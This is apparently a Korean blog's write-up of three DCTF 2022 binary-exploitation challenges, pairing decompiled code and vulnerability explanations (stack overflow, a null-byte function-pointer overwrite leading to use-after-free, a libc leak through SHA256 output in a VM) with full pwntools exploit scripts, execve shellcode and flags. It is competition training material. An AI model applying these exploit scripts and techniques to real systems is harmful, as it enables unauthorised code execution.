Sechack

DCTF 2022 - Pwnable write up 본문

CTF

DCTF 2022 - Pwnable write up

Sechack 2022. 4. 17. 23:46
반응형

 

포너블은 커널빼고 다 풀었다. 레이팅 24.19짜리 CTF인데도 이정도 푼거 보면 포너블은 이제 나도 CTF에서 어느정도 경쟁력을 갖춘것 같다. 리버싱이나 웹해킹, 크립토 등 다른 분야도 빨리 공부해놔야 나중에 수상 노리고 대회 뛸때 팀 대회가 아닌 개인전에서도 활약할 수 있을것 같다.

 

 

Codechainz

 

 

 

 

void __noreturn loop_de_loop()
{
  char s[10]; // [rsp+Eh] [rbp-12h] BYREF
  int v1; // [rsp+18h] [rbp-8h] BYREF
  char v2; // [rsp+1Fh] [rbp-1h]

  v1 = -1;
  v2 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      fflush(stdout);
      input_int(&v1);
      if ( v1 == 4 )
      {
        puts("Goodbye!");
        exit(0);
      }
      if ( v1 <= 4 )
        break;
LABEL_18:
      puts("Invalid option.\n");
    }
    switch ( v1 )
    {
      case 3:
        if ( !v2 )
          goto LABEL_13;
        puts("Deleting your memory...");
        memset(memory_space, 0, 0x1EuLL);
        v2 = 0;
        sleep(2u);
        puts("Memory deleted.\n");
        break;
      case 1:
        if ( v2 != 1 )
        {
          fgets(s, 2, stdin);
          input_str();
          v2 = 1;
        }
        else
        {
          puts("You have already made a memory!\n");
        }
        break;
      case 2:
        if ( v2 )
        {
          puts("Here is your memory. I managed to remember it ^^");
          puts(memory_space);
        }
        else
        {
LABEL_13:
          puts("You have no memories saved.\n");
        }
        break;
      default:
        goto LABEL_18;
    }
  }
}

 

 

 

init_memory함수를 보면 mmap으로 rwx권한을 가진 메모리를 만들고 해당 메모리 주소를 준다. 그리고 input_str함수에서 bof터지는데 카나리도 없으니까 쉘코드 넣고 호출하면 된다.

 

from pwn import *

#r = process("./app")
r = remote("51.124.222.205", 13370)

r.recvuntil("saved at ")

addr = int(r.recv(14), 16)
sh = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

r.sendlineafter("> ", "1")
r.sendlineafter("> ", sh+b"a"*(0x38-len(sh))+p64(addr))

r.interactive()

 

 

flag : dctf{5h3_s31l5_s3e_5h3ll5_0n_7h3e_534_shur3_2nvc4t4204}

 

 

Phonebook

 

 

 

unsigned __int64 menu()
{
  int i; // [rsp+8h] [rbp-38h]
  unsigned int j; // [rsp+Ch] [rbp-34h]
  int k; // [rsp+10h] [rbp-30h]
  unsigned int v4; // [rsp+18h] [rbp-28h]
  int v5; // [rsp+1Ch] [rbp-24h]
  unsigned int v6; // [rsp+20h] [rbp-20h]
  unsigned int index; // [rsp+24h] [rbp-1Ch]
  char *s; // [rsp+28h] [rbp-18h]
  int v9[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  for ( i = 0; i <= 1; ++i )
    v9[i] = 1;
  s = 0LL;
  print_menu();
  for ( j = get_index(1LL, 5LL); (unsigned int)check(j, 1LL, 5LL); j = get_index(1LL, 5LL) )
  {
    switch ( j )
    {
      case 1u:
        printf("Choose person id: ");
        index = get_index(0LL, 1LL);
        create(index);
        break;
      case 2u:
        printf("Choose person id: ");
        v6 = get_index(0LL, 1LL);
        if ( v9[v6] )
        {
          edit(v6);
          break;
        }
LABEL_10:
        puts("Ahh nevermind...");
        break;
      case 3u:
        printf("Choose person id: ");
        v5 = get_index(0LL, 1LL);
        if ( !v9[v5] )
          goto LABEL_10;
        (*(void (__fastcall **)(_QWORD))(*((_QWORD *)&people + v5) + 8LL))(*((_QWORD *)&people + v5));
        break;
      case 4u:
        printf("Choose person id: ");
        v4 = get_index(0LL, 1LL);
        if ( !v9[v4] || !*((_QWORD *)&people + (int)v4) )
          goto LABEL_10;
        free(*((void **)&people + (int)v4));
        free(*(void **)(*((_QWORD *)&people + (int)v4) + 16LL));
        v9[v4] = 0;
        printf("Person %d deleted!", v4);
        break;
      default:
        s = (char *)malloc(0x25uLL);
        printf("Hidden note: ");
        fgets(s, 2, _bss_start);
        fgets(s, 36, _bss_start);
        s[36] = 0;
        break;
    }
    print_menu();
  }
  if ( s )
    free(s);
  for ( k = 0; k <= 1; ++k )
  {
    if ( *((_QWORD *)&people + k) )
    {
      free(*(void **)(*((_QWORD *)&people + k) + 16LL));
      free(*((void **)&people + k));
    }
  }
  return __readfsqword(0x28u) ^ v10;
}

 

__int64 __fastcall get_index(unsigned int a1, unsigned int a2)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  __isoc99_scanf("%d", &v3);
  while ( !(unsigned int)check(v3, a1, a2) )
  {
    printf("Invalid choice! Try [%d-%d]\n", a1, a2);
    printf("> ");
    __isoc99_scanf("%d", &v3);
  }
  return v3;
}

 

int __fastcall create(unsigned int a1)
{
  int result; // eax
  char *s; // [rsp+18h] [rbp-8h]

  if ( people[a1] )
    return printf("Person with id %d already exists!", a1);
  s = (char *)malloc(0x20uLL);
  *((_QWORD *)s + 2) = get_name();
  *((_DWORD *)s + 6) = strlen(*((const char **)s + 2));
  printf("Phone number: ");
  fgets(s, 8, _bss_start);
  *((_QWORD *)s + 1) = choose_relation();
  result = (int)s;
  people[a1] = s;
  return result;
}

 

int __fastcall edit(unsigned int a1)
{
  int index; // [rsp+1Ch] [rbp-4h]

  if ( people[a1] )
  {
    print_edit_menu();
    index = get_index(1u, 3u);
    if ( index == 1 )
    {
      return edit_name(a1);
    }
    else if ( index == 2 )
    {
      return edit_phone_number(a1);
    }
    else
    {
      return edit_relation(a1);
    }
  }
  else
  {
    puts(byte_2109);
    printf("Person with person id %d doesn't exist", a1);
    return puts(byte_2109);
  }
}

 

unsigned __int64 __fastcall edit_name(int a1)
{
  int n; // [rsp+18h] [rbp-18h] BYREF
  int v3; // [rsp+1Ch] [rbp-14h]
  __int64 v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v4 = people[a1];
  v3 = *(_DWORD *)(v4 + 24);
  printf("Name length: ");
  __isoc99_scanf("%d", &n);
  fgets(*(char **)(v4 + 16), 2, _bss_start);
  if ( v3 != n )
  {
    free(*(void **)(v4 + 16));
    *(_QWORD *)(v4 + 16) = malloc(n + 1);
  }
  printf("Name: ");
  fgets(*(char **)(v4 + 16), n, _bss_start);
  *(_BYTE *)(*(_QWORD *)(v4 + 16) + n) = 0;
  return __readfsqword(0x28u) ^ v5;
}

 

__int64 __fastcall edit_phone_number(int a1)
{
  printf("Enter new phone number: ");
  return __isoc99_scanf("%8s", people[a1]);
}

 

__int64 __fastcall edit_relation(int a1)
{
  __int64 v1; // rdx
  __int64 result; // rax

  v1 = choose_relation();
  result = people[a1];
  *(_QWORD *)(result + 8) = v1;
  return result;
}

 

처음에 나는 이 바이너리를 보고 취약점이 없다고 생각했다. 얼핏 보면 힙 취약점에 대해서 완벽하게 시큐어 코딩을 해놓은것처럼 보인다. 하지만 edit_phone_number함수에서 scanf("%8s", people[a1]);이렇게 전화번호를 받는데 scanf함수는 문자열의 끝에 NULL을 붙인다. 하필이면 전화번호 뒤에는 함수포인터가 위치해 있어서 함수포인터의 하위 1byte가 덮이게 된다. 그런데 하위 1byte가 NULL로 덮이면 딱 main함수를 가리키게 된다. main함수를 다시 부르게 되면 menu함수의 초반 루틴에 의해 청크의 해제 여부를 저장하는 배열이 다시 1로 초기화 되면서 UAF가 가능해진다. unsorted bin에 청크하나 넣고 libc leak한 후에 Hidden note이용해서 함수포인터 덮어주면 된다.

 

 

from pwn import *

#r = process(["./phonebook"], env={"LD_PRELOAD":"./libc-2.31.so"}, stdout=PTY, stdin=PTY)
r = remote("51.124.222.205", 13380)
libc = ELF("./libc-2.31.so")

def create(idx, namelen, name, number):
    r.sendlineafter("> ", "1")
    r.sendlineafter("id: ", str(idx))
    r.sendlineafter("length: ", str(namelen))
    r.sendlineafter("Name: ", name)
    r.sendlineafter("number: ", number)
    r.sendlineafter("> ", "1")

def edit_name(idx, namelen, name):
    r.sendlineafter("> ", "2")
    r.sendlineafter("id: ", str(idx))
    r.sendlineafter("> ", "1")
    r.sendlineafter("length: ", str(namelen))
    r.sendlineafter("Name: ", name)

def edit_phonenum(idx, number):
    r.sendlineafter("> ", "2")
    r.sendlineafter("id: ", str(idx))
    r.sendlineafter("> ", "2")
    r.sendlineafter("number: ", number)

def edit_relation(idx, num):
    r.sendlineafter("> ", "2")
    r.sendlineafter("id: ", str(idx))
    r.sendlineafter("> ", "3")
    r.sendlineafter("> ", str(num))

def call(idx):
    r.sendlineafter("> ", "3")
    r.sendlineafter("id: ", str(idx))

def delete(idx):
    r.sendlineafter("> ", "4")
    r.sendlineafter("id: ", str(idx))

def hidden(data):
    r.sendlineafter("> ", "5")
    r.sendlineafter("note: ", data)

create(0, 0x500, "Sechack", "1111")
create(1, 0x10, "Sechack", "1111")
edit_phonenum(1, b"a"*8)
delete(0)
call(1)
edit_relation(0, 1)
call(0)

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - 0x1ecbe0
system = libc_base + libc.sym["system"]
print(hex(libc_base))

hidden(b"/bin/sh\x00"+p64(system))
call(0)

r.interactive()

 

 

 

flag : DCTF{C4n_1_g3t_y0ur_numb3r?}

 

 

vmstation

 

 

 

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  void **v3; // rbx
  int v4; // eax
  int v5; // eax
  char v7; // [rsp+1Fh] [rbp-61h]
  char v8; // [rsp+20h] [rbp-60h]
  char v9; // [rsp+21h] [rbp-5Fh]
  char v10; // [rsp+23h] [rbp-5Dh]
  char v11; // [rsp+24h] [rbp-5Ch]
  char v12; // [rsp+26h] [rbp-5Ah]
  char v13; // [rsp+27h] [rbp-59h]
  char v14; // [rsp+29h] [rbp-57h]
  char v15; // [rsp+2Ah] [rbp-56h]
  char v16; // [rsp+2Ch] [rbp-54h]
  char v17; // [rsp+2Dh] [rbp-53h]
  char v18; // [rsp+2Fh] [rbp-51h]
  char v19; // [rsp+30h] [rbp-50h]
  char v20; // [rsp+32h] [rbp-4Eh]
  char v21; // [rsp+33h] [rbp-4Dh]
  char v22; // [rsp+35h] [rbp-4Bh]
  char v23; // [rsp+36h] [rbp-4Ah]
  char v24; // [rsp+38h] [rbp-48h]
  char v25; // [rsp+3Ah] [rbp-46h]
  char v26; // [rsp+3Ah] [rbp-46h]
  char v27; // [rsp+3Bh] [rbp-45h]
  int v28; // [rsp+3Ch] [rbp-44h]
  int v29; // [rsp+40h] [rbp-40h]
  int i; // [rsp+44h] [rbp-3Ch]
  int j; // [rsp+48h] [rbp-38h]
  int k; // [rsp+4Ch] [rbp-34h]
  __int64 v33; // [rsp+50h] [rbp-30h] BYREF
  _QWORD *v34; // [rsp+58h] [rbp-28h]
  FILE *stream; // [rsp+60h] [rbp-20h]
  unsigned __int64 v36; // [rsp+68h] [rbp-18h]

  v36 = __readfsqword(0x28u);
  v28 = 1;
  v34 = malloc(0x800uLL);
  v29 = 0;
  if ( !a2[1] )
  {
    puts("enter file name");
    exit(-1);
  }
  stream = fopen(a2[1], "r");
  while ( 1 )
  {
    v7 = fgetc(stream);
    if ( v7 == -1 )
      return 0LL;
    switch ( v7 )
    {
      case 0:
        v3 = (void **)&v34[v29];
        *v3 = calloc(0x200uLL, 1uLL);
        for ( i = 0; ; ++i )
        {
          v27 = fgetc(stream);
          if ( !v27 )
            break;
          *(_BYTE *)(i + v34[v29]) = v27;
        }
        ++v29;
        break;
      case 1:
        v25 = fgetc(stream);
        for ( j = 0; j < v25; ++j )
          fgetc(stream);
        break;
      case 2:
        v26 = fgetc(stream);
        if ( !dword_5040[fgetc(stream)] )
        {
          for ( k = 0; k < v26; ++k )
            fgetc(stream);
        }
        break;
      case 3:
        v4 = fgetc(stream);
        __isoc99_scanf("%d", &dword_5040[v4]);
        break;
      case 4:
        v5 = fgetc(stream);
        puts((const char *)v34[v5]);
        break;
      case 5:
        sub_1449(a2[1]);
        break;
      case 6:
        sub_176B();
        break;
      case 7:
        exit(0);
      case 8:
        v24 = fgetc(stream);
        dword_5040[v24] = (char)fgetc(stream);
        break;
      case 11:
        v22 = fgetc(stream);
        v23 = fgetc(stream);
        dword_5040[v22] = dword_5040[(char)fgetc(stream)] + dword_5040[v23];
        break;
      case 12:
        v20 = fgetc(stream);
        v21 = fgetc(stream);
        dword_5040[v20] = dword_5040[v21] - dword_5040[(char)fgetc(stream)];
        break;
      case 13:
        v18 = fgetc(stream);
        v19 = fgetc(stream);
        dword_5040[v18] = dword_5040[v19] * dword_5040[(char)fgetc(stream)];
        break;
      case 14:
        v16 = fgetc(stream);
        v17 = fgetc(stream);
        dword_5040[v16] = dword_5040[v17] / dword_5040[(char)fgetc(stream)];
        break;
      case 15:
        v14 = fgetc(stream);
        v15 = fgetc(stream);
        dword_5040[v14] = dword_5040[v15] % dword_5040[(char)fgetc(stream)];
        break;
      case 16:
        v12 = fgetc(stream);
        v13 = fgetc(stream);
        dword_5040[v12] = dword_5040[v13] >= dword_5040[(char)fgetc(stream)];
        break;
      case 17:
        v10 = fgetc(stream);
        v11 = fgetc(stream);
        dword_5040[v10] = dword_5040[v11] <= dword_5040[(char)fgetc(stream)];
        break;
      case 18:
        v8 = fgetc(stream);
        v9 = fgetc(stream);
        dword_5040[v8] = dword_5040[v9] == dword_5040[(char)fgetc(stream)];
        break;
      case 19:
        if ( v28 == 1 )
        {
          __isoc99_scanf("%llu", &v33);
          __isoc99_scanf("%llu", v33);
          v28 = 0;
        }
        break;
      default:
        continue;
    }
  }
}

 

unsigned __int64 __fastcall sub_1449(const char *a1)
{
  int i; // [rsp+14h] [rbp-1DCh]
  FILE *stream; // [rsp+18h] [rbp-1D8h]
  __int64 sizea; // [rsp+20h] [rbp-1D0h]
  __int64 size; // [rsp+20h] [rbp-1D0h]
  void *ptra; // [rsp+28h] [rbp-1C8h]
  void *ptr; // [rsp+28h] [rbp-1C8h]
  FILE *v8; // [rsp+30h] [rbp-1C0h]
  FILE *s; // [rsp+38h] [rbp-1B8h]
  char v10[224]; // [rsp+40h] [rbp-1B0h] BYREF
  char v11[64]; // [rsp+120h] [rbp-D0h] BYREF
  char v12[136]; // [rsp+160h] [rbp-90h] BYREF
  unsigned __int64 v13; // [rsp+1E8h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  stream = fopen(a1, "r");
  fseek(stream, 0LL, 2);
  sizea = ftell(stream);
  fseek(stream, 0LL, 0);
  ptra = malloc(sizea + 1);
  fread(ptra, sizea, 1uLL, stream);
  fclose(stream);
  SHA512_Init(v10);
  SHA512_Update(v10, ptra, sizea);
  SHA512_Final(v11, v10);
  free(ptra);
  puts("Enter path to the file you want to encrypt");
  __isoc99_scanf("%127s", v12);
  v8 = fopen(v12, "r");
  fseek(v8, 0LL, 2);
  size = ftell(v8);
  fseek(v8, 0LL, 0);
  ptr = malloc(size + 1);
  fread(ptr, size, 1uLL, v8);
  fclose(v8);
  for ( i = 0; size > i; ++i )
    *((_BYTE *)ptr + i) ^= v11[i % 64];
  printf("Enter path to where you want to save the result: ");
  __isoc99_scanf("%127s", v12);
  s = fopen(v12, "w");
  fwrite(ptr, size, 1uLL, s);
  fclose(s);
  return v13 - __readfsqword(0x28u);
}

 

unsigned __int64 sub_176B()
{
  size_t v0; // rax
  int i; // [rsp+8h] [rbp-128h]
  int j; // [rsp+Ch] [rbp-124h]
  char v4[112]; // [rsp+10h] [rbp-120h] BYREF
  char s[32]; // [rsp+80h] [rbp-B0h] BYREF
  char dest[8]; // [rsp+A0h] [rbp-90h] BYREF
  __int64 v7; // [rsp+A8h] [rbp-88h]
  __int64 v8; // [rsp+B0h] [rbp-80h]
  __int64 v9; // [rsp+B8h] [rbp-78h]
  __int64 v10; // [rsp+C0h] [rbp-70h]
  __int64 v11; // [rsp+C8h] [rbp-68h]
  __int64 v12; // [rsp+D0h] [rbp-60h]
  __int64 v13; // [rsp+D8h] [rbp-58h]
  __int64 v14; // [rsp+E0h] [rbp-50h]
  __int64 v15; // [rsp+E8h] [rbp-48h]
  __int64 v16; // [rsp+F0h] [rbp-40h]
  __int64 v17; // [rsp+F8h] [rbp-38h]
  __int64 v18; // [rsp+100h] [rbp-30h]
  __int64 v19; // [rsp+108h] [rbp-28h]
  __int64 v20; // [rsp+110h] [rbp-20h]
  __int64 v21; // [rsp+118h] [rbp-18h]
  unsigned __int64 v22; // [rsp+128h] [rbp-8h]

  v22 = __readfsqword(0x28u);
  *(_QWORD *)dest = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0LL;
  v16 = 0LL;
  v17 = 0LL;
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0LL;
  v21 = 0LL;
  for ( i = 0; i < 16; ++i )
  {
    sprintf(s, "%d,", (unsigned int)dword_5040[i]);
    strcat(dest, s);
  }
  SHA256_Init(v4);
  v0 = strlen(dest);
  SHA256_Update(v4, dest, v0);
  SHA256_Final(s, v4);
  for ( j = 0; j <= 31; ++j )
    printf("%02x", (unsigned __int8)s[j]);
  putchar(10);
  return v22 - __readfsqword(0x28u);
}

 

 

특정 파일을 암호화한다는 컨셉을 가진 vm문제같다.

 

import base64
import string
import random
import subprocess
import os
import sys
def generate_random_name():
    _len = 50
    return"".join(random.choices(string.ascii_uppercase+string.digits+string.ascii_lowercase,k=_len))

fname = f"/tmp/{generate_random_name()}"
with open(fname,"wb+") as f:
    data = input("Enter b64 encoded bin file: ")
    if len(data) > 1000:
        print("File to big! (max 1000)")
        sys.exit(1)
    f.write(base64.b64decode(data))

fname_enc = f"/tmp/{generate_random_name()}"
print(f"file with your data to encrypt is at {fname_enc}")
with open(fname_enc,"wb+") as f:
    data = input("Enter b64 encoded file to encrypt: ")
    if len(data) > 1000:
        print("File to big! (max 1000)")
        sys.exit(1)
    f.write(base64.b64decode(data))


proc = subprocess.Popen(['./vmstation', fname],shell=False)
proc.communicate()

print(f"deleting: f{fname}")
print(f"deleting: f{fname_enc}")
os.system(f"rm  {fname}")
os.system(f"rm  {fname_enc}")

 

 

서버에서는 이렇게 우리가 vm에서 돌아갈 바이너리를 base64 encode해서 전달하면 그걸 파일로 쓰고 프로그램으로 전잘하고 있다. vm에 있는 기능들을 보면 dword_5040배열에 원하는 값을 쓸 수도 있고 사칙연산과 비교 연산 등을 할 수 있다. 그리고 처음에 할당한 0x800크기의 힙은 문자열을 저장하는 배열로 쓰인다. 또 특정 파일을 sha256, xor등을 이용해서 암호화해서 내보내는 기능도 있는데 그닥 의미있는 기능은 아니다. dword_5040배열의 크기는 16이고 dword_5040배열의 숫자들을 sprintf로 붙인 후에 sha256해서 해시를 출력하는 기능도 있다. 19번 opcode기능에서 arbitrary write를 그냥 준다. 문제는 memory leak인데 dword_5040에 접근할때 딱히 인덱스 검사를 안한다. 인덱스로 쓰이는 변수의 자료형은 char니까 음수를 줄 수 있고 got에 있는 libc주소를 긁어올 수 있다. 하지만 Full Mitigation이라서 got overwrite는 하지 못한다. 그리고 got에 있는 libc주소를 긁어오더라도 그걸 화면에 온전히 출력할 방법이 없다.

 

 

memory leak방법을 하루 넘게 고민했다. 앞서 언급한 기능인 dword_5040배열을 sha256해서 출력하는 기능을 이용해서 1byte씩 libc leak을 했다. libc주소를 긁어오고 나눗셈이나 모듈러 연산 등을 이용해서 dword_5040[0]에만 우리가 원하는 1byte가 위치하도록 하고 나머지는 전부 0으로 채운다. 이렇게 처음 1byte에만 변화를 주면 생성될 수 있는 sha256해시의 경우의 수가 굉장히 적어지게 되고 hash db를 만들어서 출력되는 sha256해시의 원본 값을 알 수 있게 된다.

 

 

import hashlib
import struct

f = open("hashmin", "w")
f1 = open("hashplus", "w")

for i in range(-128, 0):
    f.write(hashlib.sha256((str(i)+",").encode()+(b"0,"*15)).hexdigest()+"\n")

for i in range(0, 256):
    f1.write(hashlib.sha256((str(i)+",").encode()+(b"0,"*15)).hexdigest()+"\n")

f.close()
f1.close()

 

 

굳이 hashmin, hashplus를 구분한 이유는 자료형이 unsigned가 아니기 때문에 긁어온 값이 음수로 해석될 수도 있어서 따로 구분을 해둔것이다.

 

 

 

그러면 이런식으로 해시를 모아둔 파일이 생성되는 것을 볼 수 있다.

 

def findhash(hash):
    f = open("hashmin", "r")
    for i in range(0, 128):
        if hash in f.readline():
            f.close()
            return 256 - (128 - i)
    f.close()
    f = open("hashplus", "r")
    for i in range(0, 256):
        if hash in f.readline():
            f.close()
            return i

 

 

그리고 익스플로잇 코드에는 해시를 넣으면 값을 찾아주는 findhash함수를 정의해줬다.

 

 

from pwn import *

def findhash(hash):
    f = open("hashmin", "r")
    for i in range(0, 128):
        if hash in f.readline():
            f.close()
            return 256 - (128 - i)
    f.close()
    f = open("hashplus", "r")
    for i in range(0, 256):
        if hash in f.readline():
            f.close()
            return i

setup = b"\x03\x30\x03\x31\x03\x32"
leak1 = b"\x0b\x00\x00\xe4\x0f\x00\x00\x30\x06\x03\x00"
leak2 = b"\x0b\x00\x00\xe4\x0e\x00\x00\x30\x0f\x00\x00\x30\x06\x03\x00"
leak3 = b"\x0b\x00\x00\xe4\x0e\x00\x00\x31\x0f\x00\x00\x30\x06\x03\x00"
leak4 = b"\x0b\x00\x00\xe4\x0e\x00\x00\x32\x0f\x00\x00\x30\x06\x03\x00"
leak5 = b"\x0b\x00\x00\xe3\x0f\x00\x00\x30\x06\x03\x00"
leak6 = b"\x0b\x00\x00\xe3\x0e\x00\x00\x30\x0f\x00\x00\x30\x06\x03\x00"
data = setup + leak1 + leak2 + leak3 + leak4 + leak5 + leak6 + b"\x13\x00/bin/sh\x00\x04\x00"

open("poc.bin", "wb").write(data)

r = process(["./vmstation", "poc.bin"], stdout=PTY, stdin=PTY)

r.sendline(str(0x100))
r.sendline(str(0x10000))
r.sendline(str(0x1000000))

leak = 0

for i in range(6):
    hash = r.recvline().strip().decode()
    print(hash)
    leak += findhash(hash) << (8 * i)
    r.sendline("0")
    print(hex(leak))

libc_base = leak - 0x7ffa0
libc_strlen_got_aaw = libc_base + 0x219098
system = libc_base + 0x50d60
print(hex(libc_base))

r.sendline(str(libc_strlen_got_aaw))
r.sendline(str(system))

r.interactive()

 

 

위 아이디어를 기반으로 짠 로컬 테스트용 full exploit코드이다. 가끔 findhash함수가 해시를 못찾을때도 있는데 높은 확률로 익스플로잇 동작하니까 신경 안써도 된다. leak한 후에도 조금 골치아픈데 ubuntu22.04(최신버전)라서 hook이 없다. 어딜 덮을지 살짝 고민하다가 "제 3회 해킹하는 부엉이들" 웹세미나에서 내가 발표한 기법이 떠올랐고 내가 발표한대로 puts함수 내부에 있는 libc strlen got를 덮었다. 저길 system함수로 덮으면 원가젯 안써도 되고 puts("/bin/sh")를 부르면 system("/bin/sh")를 부른 효과가 난다. 원가젯 아다리도 잘 안맞고 libc따더라도 덮을곳도 별로 없는 우분투 최신 버전에서 유용하게 쓰이는 위치인것 같다.

 

 

remote로 익스를 날릴땐 base64로 vm용 바이너리를 받으니까 익스 조금 수정해줘야 한다.

 

 

from pwn import *
import base64

def findhash(hash):
    f = open("hashmin", "r")
    for i in range(0, 128):
        if hash in f.readline():
            f.close()
            return 256 - (128 - i)
    f.close()
    f = open("hashplus", "r")
    for i in range(0, 256):
        if hash in f.readline():
            f.close()
            return i

setup = b"\x03\x30\x03\x31\x03\x32"
leak1 = b"\x0b\x00\x00\xe4\x0f\x00\x00\x30\x06\x03\x00"
leak2 = b"\x0b\x00\x00\xe4\x0e\x00\x00\x30\x0f\x00\x00\x30\x06\x03\x00"
leak3 = b"\x0b\x00\x00\xe4\x0e\x00\x00\x31\x0f\x00\x00\x30\x06\x03\x00"
leak4 = b"\x0b\x00\x00\xe4\x0e\x00\x00\x32\x0f\x00\x00\x30\x06\x03\x00"
leak5 = b"\x0b\x00\x00\xe3\x0f\x00\x00\x30\x06\x03\x00"
leak6 = b"\x0b\x00\x00\xe3\x0e\x00\x00\x30\x0f\x00\x00\x30\x06\x03\x00"
data = setup + leak1 + leak2 + leak3 + leak4 + leak5 + leak6 + b"\x13\x00/bin/sh\x00\x04\x00"

r = remote("51.124.222.205", 13375)

r.sendlineafter("file: ", base64.b64encode(data))
r.sendlineafter("encrypt: ", base64.b64encode(data))

r.sendline(str(0x100))
r.sendline(str(0x10000))
r.sendline(str(0x1000000))

leak = 0

for i in range(6):
    hash = r.recvline().strip().decode()
    print(hash)
    leak += findhash(hash) << (8 * i)
    r.sendline("0")
    print(hex(leak))

libc_base = leak - 0x7ffa0
libc_strlen_got_aaw = libc_base + 0x219098
system = libc_base + 0x50d60
print(hex(libc_base))

r.sendline(str(libc_strlen_got_aaw))
r.sendline(str(system))

r.interactive()

 

 

remote로 날리는 Full exploit이다.

 

 

 

 

flag : dctf{L18c_GO7_15_4_N3W_fR33_hook}

반응형
Comments